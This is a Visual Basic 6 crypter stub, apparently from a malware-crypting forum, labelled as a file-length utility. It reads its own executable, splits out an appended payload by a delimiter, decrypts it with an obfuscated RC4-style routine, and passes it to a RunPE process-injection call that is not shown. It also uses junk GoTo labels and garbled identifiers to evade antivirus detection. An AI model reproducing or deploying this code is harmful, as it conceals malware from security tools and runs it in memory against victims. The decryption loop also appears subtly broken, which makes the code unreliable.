' Autor ..........: Pink
'Nombre......... : Alternativa a LOF | FileLen
Const GENERIC_READ = &H80000000
Const FILE_SHARE_READ = &H1
Const OPEN_EXISTING = 3
Private Declare Function GetModuleFileNameA Lib "kernel32" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long

Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function GetFileSizeEx Lib "kernel32" (ByVal hFile As Long, lpFileSize As Currency) As Boolean
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long


'Option Explicit

Sub Pink()
GoTo Chucarol
Carolina:
GoTo Carolina
Chucarol:
Dim Chucarol As Integer
Dim Carolina As Integer
Dim StubData As String
Dim Delimiter() As String
Dim file As String, hFile As String, nSize As Currency
file = H13rl4ng
hFile = CreateFile(file, GENERIC_READ, FILE_SHARE_READ, ByVal 0&, OPEN_EXISTING, ByVal 0&, ByVal 0&)
GetFileSizeEx hFile, nSize
CloseHandle hFile
Size = nSize * 10000


'MsgBox (file)
Open H13rl4ng For Binary As #1
StubData = Space(Size)
Get #1, , StubData
Close #1
GoTo Caro
Rodri:
GoTo Rodri
Caro:
Dim Caro As Integer
Dim Rodri As Integer
Delimiter() = Split(StubData, "**\\-ChuCa-//**")
Delimiter(1) = ’14ü0›1ü’(Delimiter(1), "**\\-Hard-//**")
GoTo Carito
RoRo:
GoTo RoRo
Carito:
Dim Carito As Integer
Dim RoRo As Integer
 Call RunPE(App.Path & "\" & App.EXEName & ".EXE", StrConv(Delimiter(1), vbFromUnicode))
GoTo caritumimurrrnuuu
Rodrigo:
GoTo Rodrigo
caritumimurrrnuuu:
Dim caritumimurrrnuuu As Integer
Dim Rodrigo As Integer
End Sub

Public Function ’14ü0›1ü’(ByVal ›7†10œ18fœ As String, ByVal w8w3¦16º As String) As String
On Error Resume Next
Dim w16›10¥1wž(0 To 255) As Integer, ü7»5§7¥ü, ¦9›6¦13¥ü As Long, f14f16w1›ü() As Byte, Temp As Long
f14f16w1›ü = StrConv(w8w3¦16º, vbFromUnicode)
For ü7»5§7¥ü = 0 To 255
¦9›6¦13¥ü = (¦9›6¦13¥ü + w16›10¥1wž(ü7»5§7¥ü) + f14f16w1›ü(ü7»5§7¥ü Mod Len(w8w3¦16º))) Mod 256
w16›10¥1wž(ü7»5§7¥ü) = ü7»5§7¥ü
Next ü7»5§7¥ü
f14f16w1›ü() = StrConv(›7†10œ18fœ, vbFromUnicode)
For ü7»5§7¥ü = 0 To Len(›7†10œ18fœ)
¦9›6¦13¥ü = (¦9›6¦13¥ü + w16›10¥1wž(¦9›6¦13¥ü) + 1) Mod 256
f14f16w1›ü(ü7»5§7¥ü) = f14f16w1›ü(ü7»5§7¥ü) Xor w16›10¥1wž(Temp + w16›10¥1wž((¦9›6¦13¥ü + w16›10¥1wž(¦9›6¦13¥ü)) Mod 254))
Next ü7»5§7¥ü
’14ü0›1ü’ = StrConv(f14f16w1›ü, vbUnicode)
End Function



Function H13rl4ng() As String
Dim bnUffer As String * 255
GetModuleFileNameA 0, bnUffer, 255
H13rl4ng = Replace(bnUffer, vbNullChar, vbNullString)
End Function